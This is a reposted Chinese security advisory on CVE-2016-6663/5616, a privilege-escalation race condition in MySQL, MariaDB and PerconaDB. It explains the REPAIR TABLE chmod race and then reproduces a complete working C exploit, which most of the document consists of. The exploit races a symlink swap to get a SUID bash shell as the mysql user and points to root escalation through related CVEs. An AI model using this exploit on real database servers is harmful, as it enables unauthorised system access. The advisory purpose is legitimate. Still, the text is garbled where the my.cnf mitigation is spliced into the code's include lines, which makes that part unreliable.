MySQL / MariaDB / PerconaDB - 提权/条件竞争漏洞
[attach]1477[/attach]
漏洞发现人：Dawid Golunski
漏洞级别：严重
CVE编号 ：CVE-2016-6663 / CVE-2016-5616
漏洞影响：
[attach]1478[/attach]
漏洞描述 ：
Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞，该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户（通常是'mysql'）执行任意代码。成功利用此漏洞，允许攻击者完全访问数据库。也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限。
漏洞细节：
基于MYSQL的数据库允许用户新建数据库，并且指定存储目录。例如：
attacker@debian:~$ mkdir /tmp/disktable attacker@debian:~$ chmod 777 /tmp/disktable/ attacker@debian:~$ ls -ld /tmp/disktable/ drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/可以通过data directory参数指定存储目录为/tmp/disktable/
mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';执行完成后，查看下目录权限，变为mysql
attacker@debian:~$ ls -l /tmp/disktable/ total 0 -rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD低权限（SELECT/CREATE/INSERT权限）的MYSQL账户，在执行表修复过程中，执行了不安全的临时文件创建。
mysql> REPAIR TABLE `poctab1`; +----------------+--------+----------+----------+ | Table | Op | Msg_type | Msg_text | +----------------+--------+----------+----------+ | testdb.poctab1 | repair | status | OK | +----------------+--------+----------+----------+通过查看系统调用，可以看到
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0 [pid 1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65 [pid 1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory) [pid 1463] lseek(65, 0, SEEK_CUR) = 0 [pid 1463] lseek(65, 0, SEEK_END) = 0 [pid 1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0 [pid 1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66 [pid 1463] lseek(65, 0, SEEK_END) = 0 [pid 1463] lseek(64, 0, SEEK_END) = 1024 [pid 1463] close(65) = 0 [pid 1463] close(66) = 0 [pid 1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0 [pid 1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0 [pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0 [pid 1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0 [pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0 [pid 1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0 [pid 1463] unlink("/tmp/disktable/poctab1.MYD") = 0 [pid 1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0第一个系统调用是
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0我们可以看到，在检验poctab1.MYD表文件权限的时候，也会复制在创建repaired表时的临时文件chmod()权限。因此在[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0和
[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0系统调用之间，产生了条件竞争漏洞。
如果攻击者删除临时表poctab1.TMD，然后通过符号链接在chmod()操作前替换/var/lib/mysql，则能够完全控制MYSQL的data目录权限。
攻击者可以预设置poctab1.MYD权限为04777(suid)，然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令。这里会有一个问题，suid shell将只会保留攻击者的UID，而不是'mysql'用户。因此攻击者需要复制bash shell到mysql用户用户的表文件，然而mysql表文件又不具有写权限。
可以通过新建一个具有组粘帖位（group sticky bit)的目录来绕过这个限制
新建/tmp/disktable/目录，并赋予组粘帖位（group sticky bit)
attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/ attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/ drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/通过data directory参数指定存储目录为/tmp/disktable/
mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable'; Query OK, 0 rows affected (0.00 sec)再次查看/tmp/disktable/权限
attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/ total 0 -rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD -rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD我们可以看到poctab2.MYD表已经是'mysql'权限了，但是属于'attacker'组。这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了。 漏洞验证： [attach]1479[/attach] [attach]1480[/attach] POC
------------------[ mysql-privesc-race.c ]-------------------- /* MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit mysql-privesc-race.c (ver. 1.0) CVE-2016-6663 / OCVE-2016-5616 Discovered/Coded by: Dawid Golunski dawid[at]legalhackers.com @dawid_golunski http://legalhackers.com Compile: gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient Note: * On RedHat-based systems you might need to change /tmp to another public directory * For testing purposes only. Do no harm. Full advisory URL: http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html */ #include视频参考：http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html 临时解决办法： 在my.cnf中添加#include #include #include #include #include #include #include #include #include #include #include #include #include #define EXP_PATH "/tmp/mysql_privesc_exploit" #define EXP_DIRN "mysql_privesc_exploit" #define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD" #define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD" #define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD" #define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary MYSQL *conn; // DB handles MYSQL_RES *res; MYSQL_ROW row; unsigned long cnt; void intro() { printf( "\033[94m\n" "MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n" "mysql-privesc-race.c (ver. 1.0)\n\n" "CVE-2016-6663 / OCVE-2016-5616\n\n" "For testing purposes only. Do no harm.\n\n" "Discovered/Coded by:\n\n" "Dawid Golunski \n" "http://legalhackers.com" "\033[0m\n\n"); } void usage(char *argv0) { intro(); printf("Usage:\n\n%s user pass db_host database\n\n", argv0); } void mysql_cmd(char *sql_cmd, int silent) { if (!silent) { printf("%s \n", sql_cmd); } if (mysql_query(conn, sql_cmd)) { fprintf(stderr, "%s\n", mysql_error(conn)); exit(1); } res = mysql_store_result(conn); if (res>0) mysql_free_result(res); } int main(int argc,char **argv) { int randomnum = 0; int io_notified = 0; int myd_handle; int wpid; int is_shell_suid=0; pid_t pid; int status; struct stat st; /* io notify */ int fd; int ret; char buf[4096] __attribute__((aligned(8))); int num_read; struct inotify_event *event; /* credentials */ char *user = argv[1]; char *password = argv[2]; char *db_host = argv[3]; char *database = argv[4]; // Disable buffering of stdout setvbuf(stdout, NULL, _IONBF, 0); // Get the params if (argc!=5) { usage(argv[0]); exit(1); } intro(); // Show initial privileges printf("\n[+] Starting the exploit as: \n"); system("id"); // Connect to the database server with provided credentials printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host); conn = mysql_init(NULL); if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) { fprintf(stderr, "%s\n", mysql_error(conn)); exit(1); } // Prepare tmp dir printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN); umask(000); system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN); system("chmod g+s /tmp/" EXP_DIRN ); // Prepare exploit tables :) printf("\n[+] Creating mysql tables \n\n"); mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0); mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0); mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0); mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0); // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n"); system("cp /bin/bash " SUID_SHELL); system("ls -l " SUID_SHELL); // Use inotify to get the timing right fd = inotify_init(); if (fd < 0) { printf("failed to inotify_init\n"); return -1; } ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE); /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */ printf("\n[+] Entering the race loop... Hang in there...\n"); while ( is_shell_suid != 1 ) { cnt++; if ( (cnt % 100) == 0 ) { printf("->"); //fflush(stdout); } /* Create empty file , remove if already exists */ unlink(MYSQL_TEMP_FILE); unlink(MYSQL_TAB_FILE); mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1); mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1); /* random num if needed */ srand ( time(NULL) ); randomnum = ( rand() % MAX_DELAY ); // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink pid = fork(); if (pid < 0) { fprintf(stderr, "Fork failed :(\n"); } /* Child process - executes REPAIR TABLE SQL statement */ if (pid == 0) { usleep(500); unlink(MYSQL_TEMP_FILE); mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1); // child stops here exit(0); } /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */ if (pid > 0 ) { io_notified = 0; while (1) { int processed = 0; ret = read(fd, buf, sizeof(buf)); if (ret < 0) { break; } while (processed < ret) { event = (struct inotify_event *)(buf + processed); if (event->mask & IN_CLOSE) { if (!strcmp(event->name, "exploit_table.TMD")) { //usleep(randomnum); // Set the .MYD permissions to suid+exec before they get copied to the .TMD file unlink(MYSQL_TAB_FILE); myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777); close(myd_handle); chmod(MYSQL_TAB_FILE, 04777); // Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec unlink(MYSQL_TEMP_FILE); symlink(SUID_SHELL, MYSQL_TEMP_FILE); io_notified=1; } } processed += sizeof(struct inotify_event); } if (io_notified) { break; } } waitpid(pid, &status, 0); } // Check if SUID bit was set at the end of this attempt if ( lstat(SUID_SHELL, &st) == 0 ) { if (st.st_mode & S_ISUID) { is_shell_suid = 1; } } } printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt); system("ls -l " SUID_SHELL); printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n"); system(SUID_SHELL " -p -i "); //system(SUID_SHELL " -p -c '/bin/bash -i -p'"); /* close MySQL connection and exit */ printf("\n[+] Job done. Exiting\n\n"); mysql_close(conn); return 0; }
symbolic-links = 0
参考链接：http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html 原文链接：http://bobao.360.cn/learning/detail/3152.html
